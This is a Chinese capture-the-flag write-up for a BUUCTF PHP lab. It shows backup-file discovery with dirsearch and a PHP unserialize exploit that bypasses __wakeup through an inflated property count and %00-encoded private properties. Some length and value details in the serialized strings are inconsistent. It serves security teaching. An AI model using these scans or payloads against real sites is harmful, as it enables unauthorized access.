buuctf_php(极客大挑战 2019)
题目:极客大挑战 2019 PHP
打开源码,没看到什么值得注意的东西。网页上提示,备份网站的习惯。
开发人员常将备份文件存放在 Web 目录下,可尝试在 URL 后添加常见备份文件名组合。例如:
基础格式:
- http://example.com/备份文件名.后缀
常见组合:
- 文件名:web、website、backup、www、wwwroot、temp
- 后缀:.zip、.tar.gz、.sql、.bak、.swp(Vim 缓存)
- 示例:http://example.com/www.tar.gz 或 http://example.com/index.php.bak
我们可以使用自动化扫描工具批量检测备份文件,这里我使用的事dirsearch,kali里有,下载方式如下:
sudo apt update # 先更新包列表,也可以不做
sudo apt install dirsearch # 安装dirsearch
使用方式如下:
dirsearch -u http://example.com -e zip,tar.gz,bak -t 50
参数说明:-e指定扩展名,-t设置线程数。扫描结果中状态码200或403(需进一步验证)可能对应备份文件。
这里我使用的是最简洁的命令:
dirsearch -u http://0b8f3b3e-4574-46a2-8940-a58da3d280e9.node5.buuoj.cn:81/
-u后面是靶场的url地址
这里等待后,出现结果:
锁定www.zip,直接在原url后面/www.zip
就可以下载得到
里面是
逐个看看,有没有特别的
flag.php里面直接写了:
这个不是的噢,看看别的,从经典的index.php看起
//index.php中重要php代码部分<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
这段 PHP 代码的主要功能是获取 URL 参数并进行反序列化操作,具体分析如下:
include 'class.php'
;
- 这行代码的作用是包含并执行当前目录下的class.php文件。通常这个文件可能定义了一些 PHP类(因为后续有反序列化操作,反序列化需要对应的类定义才能正确还原对象)。
$select = $_GET['select'];
- 从 URL 的 GET
参数中获取名为select的值,赋值给变量$select
。例如,当访问xxx.php?select=abc
时,$select
就会被赋值为"abc"
。
$res = unserialize(@$select);
- unserialize()是 PHP 的反序列化函数,作用是将 “序列化字符串” 还原为 PHP 中的值(可能是数组、对象等)。
- @是 PHP 的错误抑制符,用来忽略unserialize()可能产生的错误(比如参数不是有效的序列化字符串时)。
这行代码的意思是:尝试将$select
(即从 URL 获取的参数值)反序列化为 PHP 的值,并保存到$res
中。
上面说到了执行当前目录下class.php文件,我们看看
//class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
1. 基础结构
include 'flag.php'; // 包含flag.php文件
error_reporting(0); // 关闭错误报告,不显示任何错误信息(隐藏调试细节)
2. Name
类的定义
类中包含私有属性、构造函数和两个魔术方法,核心逻辑围绕对象的创建、反序列化和销毁展开。
(1)私有属性
private $username = 'nonono'; // 私有属性:用户名,初始值'nonono'
private $password = 'yesyes'; // 私有属性:密码,初始值'yesyes'
私有属性(private
)的访问范围仅限类内部,序列化时会包含类名和属性名的特殊标识。
(2)构造函数__construct
public function __construct($username,$password){$this->username = $username;$this->password = $password;
}
当创建Name
类的对象时,会自动调用该方法,用传入的参数初始化$username
和$password
。
(3)魔术方法__wakeup
function __wakeup(){$this->username = 'guest';
}
__wakeup
是PHP的反序列化魔术方法:当使用unserialize()
函数还原对象时,会自动调用该方法。这里的逻辑是强制将$username
改为'guest'
(可能是一个限制条件)。
(4)魔术方法__destruct
function __destruct(){// 第一个判断:如果password不等于100,输出错误信息并终止if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}// 第二个判断:如果password等于100,再检查username是否为'admin'if ($this->username === 'admin') {global $flag; // 引入全局变量$flag(来自flag.php)echo $flag; // 输出flag(目标结果)}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}
}
__destruct
是对象销毁时自动调用的魔术方法(如脚本执行结束、对象被 unset 等)。它是这段代码的核心逻辑:
- 只有当
$password
等于100
且$username
严格等于'admin'
时,才会输出$flag
; - 否则会输出拒绝信息。
整体逻辑与可能的场景
这段代码的设计意图通常是:要求通过反序列化构造一个Name
类的对象,满足以下条件才能获取flag
:
- 对象的
$password
必须为100
; - 对象的
$username
必须为'admin'
; - 需绕过
__wakeup
方法(因为反序列化时它会强制把$username
改成'guest'
)。
在安全测试中,这类代码常用来考察“反序列化漏洞”的利用——通过构造特殊的序列化字符串,绕过__wakeup
的限制,最终让__destruct
满足输出flag
的条件。
那我们首先得完整前面两条,即password值为100和username==admin,写如下脚本:
<?php
class Name{private $username = 'admin';private $password = '100';}$select = new Name();$res=serialize(@$select); echo $res
?>
run得到:
值:
O:4:"Name":2:{s:14:"Nameusername";s:6:"admin";s:14:"Namepassword";s:3:"100";}
这段字符串是PHP序列化(serialization)后的数据,用于将对象或数据结构转换为可存储或传输的字符串格式。
-
整体结构:这是一个PHP对象的序列化结果
O:4:"Name":2:{...}
:表示一个对象(O
),类名是"Name"(长度为4),包含2个属性
-
内部属性解析:
-
s:14:"Nameusername";s:6:"admine";
:s:14:"Nameusername"
:第一个属性的键名,是字符串(s
)类型,长度14,内容为"Nameusername"s:6:"admine"
:第一个属性的值,是字符串类型,长度6,内容为"admine"
-
s:14:"Namepassword";s:3:"100";
:s:14:"Namepassword"
:第二个属性的键名,字符串类型,长度14,内容为"Namepassword"s:3:"100"
:第二个属性的值,字符串类型,长度3,内容为"100"
-
这段序列化数据对应一个PHP对象,大致等效于上面的脚本代码。当PHP需要存储对象(如存入文件、数据库)或网络传输时,会将对象序列化为这种格式,使用时再通过unserialize()
函数还原为对象。
完成了前面两点,怎么完成第三点?(3. 需绕过__wakeup
方法(因为反序列化时它会强制把$username
改成'guest'
))
这里学习得知:__wakeup()
在反序列化时,当前属性个数大于实际属性个数时,则就会跳过__wakeup()
。O:4:"Name":2:
中"2"表示属性个数,所以我们把 2 改为 3 或者 比2大的数,得到
O:4:"Name":3:{s:14:"Nameusername";s:6:"admin";s:14:"Namepassword";s:3:"100";}
但到这还是不可以,中间要加空格,解释如下:
-
转变后字符串中的属性是“私有属性”:
转变后的s:14:"%00Name%00username"
,解码后实际是s:14:"\0Name\0username"
(%00
是URL编码后的「空字符」,即\0
)。
这是PHP序列化 私有属性(private $username
) 的「固定格式」:
私有属性会在「类名前后各加一个空字符」,格式为\0类名\0属性名
(这里类名是“Name”,属性名是“username”,所以组合成\0Name\0username
)。
这个\0Name\0username
的总长度是 1(\0)+4(Name)+1(\0)+8(username)=14,正好对应s:14
,符合序列化的“长度+值”规则。私有属性中的空字符(
\0
)是不可见字符,在URL传输、表单提交等场景下,必须通过URL编码转为可见的%00
(否则\0
会被当作无效字符截断或破坏数据),所以最终呈现为%00Name%00username
。
故
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
传入select: